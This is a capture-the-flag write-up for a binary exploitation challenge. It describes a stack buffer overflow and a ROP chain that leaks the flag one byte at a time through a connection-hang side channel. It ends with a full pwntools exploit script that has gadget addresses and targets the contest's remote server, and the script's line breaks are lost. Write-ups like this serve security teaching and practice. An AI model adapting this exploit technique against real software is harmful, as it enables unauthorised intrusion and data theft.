## First glance
The vulnabality in this challenge is really strightforward, it's a buffer overflow and can be used to construct ROP chain.
## Start to solve 
We can read a file into stack and then use to construct ROP chain, but the file must contain data we know or we are able to control it. The first thing come to my mind is the binary itself, but since we can't adjust the data it's hard to use. 
After a while, another team member found that `/proc/self/fd/0` would be perfect to use in this case because we have fully control over the input, so I start to build ROP chain. But after I realize that before my ROP chain get executed, all input/output fd will be closed,and it means that I can't get any information by executing some function like puts(). 
So depressed.
I start to do some test on local, and found that even I closed fd 0 1 2, the connection won't break, so I came up with a idea: "Why don't we just build a ROP that can compare some byte of flag with our input, then hold or release the connection?", there's open(), lseek(), read(), and strchr() used for comparation and I've found some gadget to control rdi,rsi,rdx. I may not able to move open()'s return to rdi for lseek(), but since open() will always return the lowest not used fd number, in this case it will always be `0`.
It sounds feasible.
## A lucky guess
After I finished exploit script, I was scared to find that ./flag on remote is NOT EXIST.....
I tried to read `/proc/self/cmdline` to find some hint but found that files in `/proc` won't be able to lseek because their file length is -1.
Stucked. 
Fortunately until 3 hours before ctf ends, one teammate guessed `./flag.txt` and got it right(!) then we start to guess flag byte-by-byte and finally leak the flag :)
## Exploit
```python#!/usr/bin/env pythonfrom pwn import *import string
context.arch = 'amd64'#context.log_level = 'DEBUG'r = remote('pwn1.chal.ctf.westerns.tokyo', 34835)#r = remote('localhost', 4000)
# 0x0000000000400a51 : mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]ctrl_edx = 0x400a51pop_12_13_14_15 = 0x400a6cpop_rsi_r15 = 0x400a71pop_rdi = 0x400a73readfile = 0x400940open_plt = 0x400710read_plt = 0x4006e8strchr_plt = 0x4006d0atoi_plt = 0x400718lseek_plt = 0x4006d8ret = 0x4006a9pop_rbp = 0x400780buf = 0x601e00leave = 0x4008a7
# build a rop that if guessed wrong, program will trap into infinite looppayload = flat(    0x40076a,    0,  # rbp = 0    pop_rdi, 0x601058,  # rdi = jmp_rax    atoi_plt,  # rax = jmp_rax    0x400775)
rop1_1 = flat(    1,    # open    pop_rdi,    0x601060,    pop_rsi_r15,    0,    0,    open_plt,
    # lseek    pop_rbp,    0,    pop_12_13_14_15,    0x601050,    0,    0,    0,    ctrl_edx,    pop_rdi,    0,    pop_rsi_r15,)
# first arg
rop1_2 = flat(    0,    lseek_plt,
    # read    pop_rbp,    1,    pop_12_13_14_15,    0x601050,    0,    0,    0,    ctrl_edx,    pop_rdi,    0,    pop_rsi_r15,    buf,    0,    read_plt,
    # strchr    pop_rdi,    buf,    pop_rsi_r15,)
# second arg
rop1_3 = flat(    0,    strchr_plt)
# try to open flag.txt and IT WORKS# guess by strchr byte-by-byte, if guessed worng socket will hang, otherwise it will get EOF# if someone know how to make this procedure automated please leave message below, thanks :)byten = 0ch = 'a'r.sendafter('name: ', '/dev/fd/0\0'.ljust(0x10, 'A')+p64(pop_rbp)+'4196213\0'+'./flag.txt\0\n'.ljust(0x18,'A'))r.sendlineafter('offset: ', '0')r.sendlineafter('size: ', '1000')r.send('A'*0x30+rop1_1+p64(byten)+rop1_2+p64(ord(ch))+rop1_3+payload)r.interactive()```